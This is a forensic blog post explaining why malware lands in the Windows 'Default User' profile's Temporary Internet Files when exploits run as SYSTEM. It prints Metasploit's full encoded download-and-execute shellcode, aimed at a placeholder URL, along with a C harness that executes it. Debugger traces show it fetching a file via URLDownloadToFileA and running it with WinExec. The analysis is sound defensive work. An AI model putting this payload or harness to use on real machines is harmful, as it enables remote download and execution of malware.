Ever found malware hiding in the "Default User" profile on Windows? Ever wonder how it got there or why it was there?

(Edited to fix idiotic bug – I meant to refer to the ‘Default User’ profile on disk not the ‘All Users’ profile! I blame Vista.)
(Edited again to make the hyperlinks a more viewable color and to fix some font size issues with the shellcode that happened on a round trip from Word)

Man no matter how hard I try I just can't seem to escape my IR past. :)

Soooooo . . . I got an email today asking me if I'd ever come across a situation where malware was being loaded / discovered in the Internet Explorer TIF (Temporary Internet Files) folder for the "Default User" profile on the disk. It's rather odd to find the IE TIF folder being used in the 'Default User' profile since this is the 'default' profile that gets copied for all new users logging into the box for the first time and no actual users should ever use that profile directly on the disk (they work from a copy) . . . so on the surface - finding malware in this folder seems strange.

But to answer this person’s question of 'have I ever seen this situation' the answer is "Why yes . . . yes I have". And I'd even come up with a theory as to how and why this could happen years ago - but I'd never (until today) sat down to try and prove this theory. I just assumed I was correct (as I always do and very infrequently am). :)

I had a theory a couple of years ago that someone had written some shellcode to download files via HTTP and then run them . . . my theory was that this was what was causing the files to pop up in this directory. Not having access to this 'alleged' shellcode at the time I attempted to see if there was another way to prove this theory . . .

So here's the deal - back in the day I ran a test . . . I used the AT scheduler to make IEXPLORE.EXE run as the SYSTEM account and I surfed the web with IEXPLORE.EXE running as SYSTEM. Sure enough - I saw activity in the "Default User" profile on the disk (C:\Documents and Settings\Default User). So does this mean miscreants are jacking your boxes and browsing the web using IE running as SYSTEM? Well . . . not exactly. But perhaps it means that some shellcode they've written is making use of the same libraries and API's that Internet Explorer is using. That's pretty much where I left things . . . until today. :)

So in the last couple of years I've become aware of the Metasploit project. One of the things this project does is serve as a repository for very 'interesting' shellcode. Here's a link to some shellcode I find very interesting: https://metasploit.com:55555/PAYLOADS?MODE=SELECT&MODULE=%77%69%6e%33%32%5f%64%6f%77%6e%6c%6f%61%64%65%78%65%63

At this URL one can generate some custom 'shellcode'. Shellcode is the stuff you inject into some processes memory space after you overrun a buffer in that process in the hopes that you can get a thread in that process to run your shellcode so that you can gain control of execution and run the machine code of your choice.

What's interesting about this particular shellcode? Well its stated goal is to fetch a file from a URL and then to run that file. But how does it work? If you go to that URL above and you enter https://test/ as the URL for the 'DATA' form field and then hit 'generate payload' you end up getting some output that looks like this:

/* win32_downloadexec - URL=https://temp Size=376 Encoder=PexFnstenvSub https://www.metasploit.com/ */

unsigned char scode[] =

"\x31\xc9\x83\xe9\xa8\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x57"

"\x92\x90\x52\x83\xeb\xfc\xe2\xf4\xbc\x82\xca\x18\x64\x5b\xf6\xeb"

"\x6b\x93\x10\x66\x5d\x0b\x72\xa8\xbc\x97\x78\xb9\xa8\x6d\x6f\x22"

"\x1b\x0b\x09\xcb\x94\x6f\xa8\xfb\xce\x0b\x09\x40\x8e\x07\x82\xbb"

"\xd2\xa6\x82\x8b\xc6\x80\xd1\x40\xbd\x37\x82\xbf\xd0\x73\x0a\x38"

"\x45\x75\x29\xc8\x35\x80\x47\xdf\xfd\xe6\x5f\x9c\x9f\x80\x36\xc8"

"\x35\x80\xfb\xa1\xc0\x52\xfa\x6d\xba\x03\x50\x94\x4d\xcc\x0d\x8e"

"\x2c\xe2\x50\x94\x90\x80\xc4\x40\x88\x2f\x0a\x08\x1f\xea\x0a\x0a"

"\xfd\xc2\x6f\x40\xc6\x80\x4f\xd7\xcd\xc8\xc8\x2a\xcc\x08\xc8\x40"

"\xce\x08\xca\x40\x34\x80\xfe\x48\x08\x05\x82\x1b\xa4\x0f\x50\x23"

"\x9e\x0b\x09\xcb\x4d\xcd\x04\x99\x98\xf4\x5e\x37\x94\x80\xd1\xa1"

"\xcf\x52\xe1\xf6\xce\x0b\x09\x48\x08\x18\x5f\x8d\x4e\x35\x89\xbe"

"\x34\x8b\x3f\x4b\x90\x88\xe5\xeb\x45\xd7\x63\xeb\x9d\xf4\x5e\x27"

"\x09\x0f\x0a\x97\xaf\x25\x6c\x0c\x8a\x08\x0d\xb3\xab\x0b\x09\xf8"

"\x0e\x5b\x59\x98\x98\x5b\xf6\x9c\x32\x80\xd5\x9b\x9d\xf4\x5e\x3b"

"\x9e\xf4\x5e\x3f\xfd\xcb\xa5\x4e\x0e\x7e\xf0\x9a\x9c\x5d\x5a\x34"

"\x1c\x51\x50\x60\x2c\xe5\x3a\x0b\x0d\xe3\x2f\x34\x31\xf4\x4e\xae"

"\xba\x5b\x7b\xa4\xad\x4a\x6d\xaf\xbc\x6e\x7a\xb8\xce\x4c\x6c\xbf"

"\x9d\x72\x7a\xbf\xab\x66\x4d\xa2\xbc\x6e\x6a\xbf\xa1\x79\x70\x8a"

"\xce\x5c\x60\xa5\x8b\x73\x6c\xa8\xce\x4e\x71\xa2\xba\x5f\x61\xb9"

"\xab\x6a\x6d\xcb\x82\x64\x68\xaf\x82\x62\x6b\xb9\xaf\x79\x70\x8a"

"\xce\x7e\x7b\xa7\xa3\x64\x67\xcb\x9b\x59\x45\x8f\xa1\x7c\x67\xa7"

"\xa1\x6a\x6d\x9f\xa1\x4d\x60\xa7\xab\x4a\x09\x3a\x23\xe6\xe0\x68"

"\x78\xbd\xe4\x37\x3a\xe2\x10\x52";

 

Great - so now what? Well attackers will take this shellcode and compile it into their exploits (which are usually EXE's that take an IP address as input and produce a compromised host as output) . . . exploits for things like remotely exploitable vulnerabilities in highly privileged services like WINS (MS04-045), or more recently perhaps MS06-066 (https://www.microsoft.com/technet/security/Bulletin/MS06-066.mspx).

These services more often than not run as the highly privileged SYSTEM account and are great targets if you want to own a box since you can do anything you want once you are running as SYSTEM.

So what does this shellcode above actually do once it's up and running inside of a process running as SYSTEM and could shellcode like this be responsible for files being created in the "Default User" profile on disk?

To find out I wrote a simple program with some help from Brian one of the smartest guys I know who I happen to have the privilege of working with on a daily basis.

Here's the program:
int main(void)
{

unsigned char scode[] =

"\x31\xc9\x83\xe9\xa8\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x57"
"\x92\x90\x52\x83\xeb\xfc\xe2\xf4\xbc\x82\xca\x18\x64\x5b\xf6\xeb"
"\x6b\x93\x10\x66\x5d\x0b\x72\xa8\xbc\x97\x78\xb9\xa8\x6d\x6f\x22"
"\x1b\x0b\x09\xcb\x94\x6f\xa8\xfb\xce\x0b\x09\x40\x8e\x07\x82\xbb"
"\xd2\xa6\x82\x8b\xc6\x80\xd1\x40\xbd\x37\x82\xbf\xd0\x73\x0a\x38"
"\x45\x75\x29\xc8\x35\x80\x47\xdf\xfd\xe6\x5f\x9c\x9f\x80\x36\xc8"
"\x35\x80\xfb\xa1\xc0\x52\xfa\x6d\xba\x03\x50\x94\x4d\xcc\x0d\x8e"
"\x2c\xe2\x50\x94\x90\x80\xc4\x40\x88\x2f\x0a\x08\x1f\xea\x0a\x0a"
"\xfd\xc2\x6f\x40\xc6\x80\x4f\xd7\xcd\xc8\xc8\x2a\xcc\x08\xc8\x40"
"\xce\x08\xca\x40\x34\x80\xfe\x48\x08\x05\x82\x1b\xa4\x0f\x50\x23"
"\x9e\x0b\x09\xcb\x4d\xcd\x04\x99\x98\xf4\x5e\x37\x94\x80\xd1\xa1"
"\xcf\x52\xe1\xf6\xce\x0b\x09\x48\x08\x18\x5f\x8d\x4e\x35\x89\xbe"
"\x34\x8b\x3f\x4b\x90\x88\xe5\xeb\x45\xd7\x63\xeb\x9d\xf4\x5e\x27"
"\x09\x0f\x0a\x97\xaf\x25\x6c\x0c\x8a\x08\x0d\xb3\xab\x0b\x09\xf8"
"\x0e\x5b\x59\x98\x98\x5b\xf6\x9c\x32\x80\xd5\x9b\x9d\xf4\x5e\x3b"
"\x9e\xf4\x5e\x3f\xfd\xcb\xa5\x4e\x0e\x7e\xf0\x9a\x9c\x5d\x5a\x34"
"\x1c\x51\x50\x60\x2c\xe5\x3a\x0b\x0d\xe3\x2f\x34\x31\xf4\x4e\xae"
"\xba\x5b\x7b\xa4\xad\x4a\x6d\xaf\xbc\x6e\x7a\xb8\xce\x4c\x6c\xbf"
"\x9d\x72\x7a\xbf\xab\x66\x4d\xa2\xbc\x6e\x6a\xbf\xa1\x79\x70\x8a"
"\xce\x5c\x60\xa5\x8b\x73\x6c\xa8\xce\x4e\x71\xa2\xba\x5f\x61\xb9"
"\xab\x6a\x6d\xcb\x82\x64\x68\xaf\x82\x62\x6b\xb9\xaf\x79\x70\x8a"
"\xce\x7e\x7b\xa7\xa3\x64\x67\xcb\x9b\x59\x45\x8f\xa1\x7c\x67\xa7"
"\xa1\x6a\x6d\x9f\xa1\x4d\x60\xa7\xab\x4a\x09\x3a\x23\xe6\xe0\x68"
"\x78\xbd\xe4\x37\x3a\xe2\x10\x52";

__asm lea eax, scode
__asm int 3
__asm call eax

}

If I compile this and run this program under the debugger it should break in just prior to calling into the shellcode. This will allow me to do interesting things like oh say setting a breakpoint on LoadLibrary() to see what modules get loaded and things like that.

Let's see what happens when we do exactly that:
0:000> bp kernel32!LoadLibraryA
0:000> g
Breakpoint 1 hit
eax=00000000 ebx=77e40000 ecx=00000000 edx=77e6bff1 esi=0012ff35 edi=0012ff02
eip=77e41d9c esp=0012fd08 ebp=000001a0 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
kernel32!LoadLibraryA:
77e41d9c 8bff mov edi,edi
0:000> dv
lpLibFileName = 0x0012ff35 "urlmon"
0:000> g
ModLoad: 1a400000 1a524000 C:\WINNT\system32\urlmon.dll

Well it appears that one of the first things this shellcode does is call LoadLibraryA() to get URLMON.DLL loaded. For those who aren't following along here - URLMON.DLL is a core library that is distributed with Internet Explorer. It exports a number of 'interesting' API's that can be used for doing things like fetching files from remote HTTP URL's. :)

So let's restart our debugger and set a breakpoint on an interesting function in URLMON and see what happens:
0:000> bl
0:000> bp kernel32!LoadLibraryA
0:000> bp urlmon!URLDownloadToFileA
Bp expression 'urlmon!URLDownloadToFileA' could not be resolved, adding deferred bp
0:000> g
Breakpoint 0 hit
eax=00000000 ebx=77e40000 ecx=00000000 edx=77e6bff1 esi=0012ff35 edi=0012ff02
eip=77e41d9c esp=0012fd08 ebp=000001a0 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
kernel32!LoadLibraryA:
77e41d9c 8bff mov edi,edi
0:000> dv
lpLibFileName = 0x0012ff35 "urlmon"
0:000> g
ModLoad: 1a400000 1a524000 C:\WINNT\system32\urlmon.dll
ModLoad: 77670000 777a4000 C:\WINNT\system32\ole32.dll
ModLoad: 77f50000 77fec000 C:\WINNT\system32\ADVAPI32.dll
ModLoad: 77c50000 77cef000 C:\WINNT\system32\RPCRT4.dll
ModLoad: 77c00000 77c48000 C:\WINNT\system32\GDI32.dll
ModLoad: 77380000 77412000 C:\WINNT\system32\USER32.dll
ModLoad: 77d00000 77d8c000 C:\WINNT\system32\OLEAUT32.dll
ModLoad: 77da0000 77df2000 C:\WINNT\system32\SHLWAPI.dll
ModLoad: 5dca0000 5dce5000 C:\WINNT\system32\iertutil.dll
ModLoad: 76290000 762ad000 C:\WINNT\system32\IMM32.DLL
ModLoad: 77420000 77523000 C:\WINNT\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.3790.2778_x-ww_A8F04F11\comctl32.dll
Breakpoint 1 hit
eax=00000000 ebx=0012fcf4 ecx=00000011 edx=00000000 esi=0012ff4f edi=0012ff06
eip=1a485af5 esp=0012fcdc ebp=000001a0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
urlmon!URLDownloadToFileA:
1a485af5 8bff mov edi,edi
0:000> dv
caller = 0x00000000
szURL = 0x0012ff4f "https://temp/"
szFileName = 0x0012fcf4 "C:\WINNT\system32\a.exe"
dwReserved = 0
callback = 0x00000000
__lszURL = 2088968120
__CBufferszFileName = class CBuffer
__CBufferszURL = class CBuffer
__wszURL = 0x7c831fb8 "???"

Well there you go - this shellcode is simply loading URLMON.DLL and then it's calling URLDownloadToFileA and fetching something from https://temp/ and saving it locally as "c:\winnt\system32\a.exe" . . .

Now, if you've ever used Internet Explore to download a large file - you will probably have observed that even if you chose to save that file to your Desktop - the file FIRST gets downloaded to your "Temporary Internet Files" folder and then when it's done you see that it gets *copied* to your desktop *after* the file has downloaded. What you are seeing is URLMON in action when that happens and specifically URLDownloadToFileA() at work.

So the same 'behavior' applies to malware downloaded via this API even though it's not using Internet Explorer (it's just invoking one of its core libraries) . . . when this shellcode runs what really happens is the file gets downloaded and placed in the IE Temporary Internet Files folder for whatever users profile the code is running as . . . and in the case of most remote shell exploits - the service targeted is (unfortunately) probably going to be running as SYSTEM which is why the files show up in the IE TIF for the "Default User" profile.

Well . . . there ya go . . . oh my friend Brian wanted to point out that after this shellcode fetches the file and saves it off to the system32 directory it's run by calling 'WinExec()' on the path to the file. This looks like a deprecated / ancient API that sadly still serves the miscreants well: https://msdn2.microsoft.com/en-us/library/aa383722.aspx